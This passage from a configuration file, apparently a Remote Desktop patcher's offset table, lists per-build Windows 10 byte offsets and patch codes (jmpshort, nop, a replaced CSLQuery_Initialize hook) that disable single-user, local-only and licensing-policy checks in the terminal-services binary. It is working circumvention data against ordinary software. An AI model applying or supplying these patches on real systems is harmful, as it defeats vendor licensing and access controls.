DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AFC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45636
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C930
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14393.1198]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6088
LocalOnlyCode.x86=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=359C5
SingleUserCode.x86=nop
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF29
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
SLInitHook.x86=1
SLInitOffset.x86=45636
SLInitFunc.x86=New_CSLQuery_Initialize
[10.0.14393.1737]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6198
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D861
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35AD5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=299A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30039
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AFC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45724
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C930
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14901.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6038
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D781
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=359C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=299A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF29
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AFC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45636
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C930
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14905.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6038
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D781
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=359C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=299A4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF29
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AFC5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45636
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C930
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14915.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6D98
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E241
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35E35
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=29EB4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=30399
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B4A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46092
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CE40
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14926.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A6D18
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E071
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35E55
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=29EB4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=303B9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1B4A5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=460A2
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=CE40
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14931.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4908
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8B411
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35705
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=29264
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FF69
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1AD05
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=452FD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C7FC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14936.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A3F38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8B9A1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35355
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=25174
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1BB55
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44CFE
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=C62C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14942.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A3F38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=9115B
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35355
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=199BD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1064E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44CFE
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=258EC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14946.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A4018
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=911AB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35355
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=199AD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1064E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44CFD
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=258DC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14951.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A78D8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=94A6B
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3BA85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1CEDD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=32629
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=11E9E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=3F680
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22EE0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14955.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A78D8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=94A6B
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3BA85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1CEDD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=32629
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=11E9E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=3F680
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22EE0
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14959.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A79B8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=934AB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=2EF05
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=16A0D
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2A4E9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=10A8E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=448A0
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=26960
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14965.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7868
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=9345B
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=3BA85
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17DFD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=32A59
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1212E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=3F680
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=26610
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14971.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7968
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=925FB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=36FE5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=1803D
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3D9A9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=11FBE
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46500
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=26180
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14986.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7878
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=926BB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=36FA5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=17FFD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3D979
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=11F7E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=464A0
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=26140
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.14997.1001]
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=931EB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x64=1
SingleUserOffset.x64=274ED
SingleUserCode.x64=Zero
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D95E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x64=1
SLInitOffset.x64=E000
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15002.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9698
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=931EB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=346B5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=274ED
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3D779
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D95E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47D90
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=E000
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15007.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9648
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=931EB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34665
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=274ED
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3D719
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D95E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47D30
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=E000
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15014.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A9648
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=931EB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34685
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=274ED
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3D739
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1D95E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=47D50
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=E000
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15019.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A39F8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=928FB
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=BADF5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=FBDD
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=A8479
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx_jmp
DefPolicyPatch.x64=1
DefPolicyOffset.x64=20AAE
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=3C240
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=24480
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15025.1000]
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=9259B
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x64=1
SingleUserOffset.x64=2C08D
SingleUserCode.x64=Zero
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1DD0E
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x64=1
SLInitOffset.x64=E5B8
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15031.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5BA8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E221
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=30A75
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2A114
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2B1D9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1C7B5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4532D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D80C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15042.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5BA8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E221
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=30A75
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=2A114
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2B1D9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1C7B5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4532D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D80C
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15046.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=80BB8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E361
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=31E95
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=15E14
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=38A19
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=E745
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=9422D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=21FFC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15048.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=80BB8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8E361
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=31E95
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=15E14
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=38A19
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=E745
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=9422D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=21FFC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15055.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5348
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8D2E1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=374C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=181E4
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3BAD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=10B65
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=44EFF
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=22AEC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15058.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D68
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8CAA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35075
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=24E74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2DD65
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4549D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D1EC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15061.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D68
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8CAA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35075
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=24E74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2DD65
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4549D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D1EC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15063.0]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D68
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8CAA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35075
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=24E74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2DD65
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4549D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D1EC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.15063.296]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A5D68
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8CAA1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=35075
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=24E74
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=2FCD9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=2DD65
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=4549D
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=D1EC
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16179.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AA568
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8C141
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34425
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=16F84
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31219
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1E7F5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45F30
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=21700
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16184.1001]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=AA568
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8C141
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=34425
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=16F84
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=31219
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=1E7F5
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=45F30
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=21700
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16199.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=ABA68
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8CED1
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=348C5
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=28C14
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=319B9
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=CB25
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=469B0
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=FA30
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16215.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7CE8
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8DE21
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39F05
SingleUserCode.x86=nop
SingleUserPatch.x64=1
SingleUserOffset.x64=28724
SingleUserCode.x64=Zero
DefPolicyPatch.x86=1
DefPolicyOffset.x86=3E019
DefPolicyCode.x86=CDefPolicy_Query_eax_ecx
DefPolicyPatch.x64=1
DefPolicyOffset.x64=CC15
DefPolicyCode.x64=CDefPolicy_Query_eax_rcx
SLInitHook.x86=1
SLInitOffset.x86=46462
SLInitFunc.x86=New_CSLQuery_Initialize
SLInitHook.x64=1
SLInitOffset.x64=FB00
SLInitFunc.x64=New_CSLQuery_Initialize
[10.0.16232.1000]
LocalOnlyPatch.x86=1
LocalOnlyOffset.x86=A7D38
LocalOnlyCode.x86=jmpshort
LocalOnlyPatch.x64=1
LocalOnlyOffset.x64=8DD41
LocalOnlyCode.x64=jmpshort
SingleUserPatch.x86=1
SingleUserOffset.x86=39F35
